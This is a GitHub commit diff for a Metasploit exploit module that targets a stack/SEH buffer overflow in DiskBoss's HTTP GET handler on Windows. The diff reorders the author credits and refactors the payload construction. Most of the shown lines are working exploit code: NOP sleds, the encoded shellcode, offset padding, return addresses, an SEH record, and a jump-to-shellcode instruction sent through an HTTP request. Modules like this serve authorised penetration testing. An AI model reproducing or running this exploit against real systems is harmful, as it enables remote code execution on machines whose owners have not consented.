Skip to content

Commit 604b949

Browse files
committed
Updated per review comments.
1 parent c791865 commit 604b949

File tree

1 file changed

+7
-5
lines changed

1 file changed

+7
-5
lines changed

modules/exploits/windows/http/diskboss_get_bof.rb

Lines changed: 7 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -23,8 +23,8 @@ def initialize(info = {})
2323
'Author' =>
2424
[
2525
'vportal', # Vulnerability discovery and PoC
26-
'Gabor Seljan', # Metasploit module
2726
'Ahmad Mahfouz', # Vulnerability discovery and PoC
27+
'Gabor Seljan', # Metasploit module
2828
'Jacob Robles' # Metasploit module
2929
],
3030
'References' =>
@@ -127,21 +127,23 @@ def exploit
127127
print_status("Selected Target: #{mytarget.name}")
128128
end
129129

130-
if !(mytarget == targets[3])
130+
case mytarget
131+
when targets[1], targets[2]
131132
sploit = make_nops(21)
132133
sploit << payload.encoded
133134
sploit << rand_text_alpha(mytarget['Offset'] - payload.encoded.length)
134135
sploit << [mytarget.ret].pack('V')
135136
sploit << rand_text_alpha(2500)
136-
else
137+
when targets[3]
137138
seh = generate_seh_record(mytarget.ret)
138139
sploit = payload.encoded
139140
sploit << rand_text_alpha(mytarget['Offset'] - payload.encoded.length)
140141
sploit[sploit.length, seh.length] = seh
141142
sploit << make_nops(10)
142-
sploit << "\xE9\x25\xBF\xFF\xFF" # JMP to ShellCode
143+
sploit << Rex::Arch::X86.jmp(0xffffbf25) # JMP to ShellCode
143144
sploit << rand_text_alpha(5000 - sploit.length)
144-
145+
else
146+
fail_with(Failure::NoTarget, 'No matching target')
145147
end
146148

147149
send_request_cgi(

0 commit comments

Comments
 (0)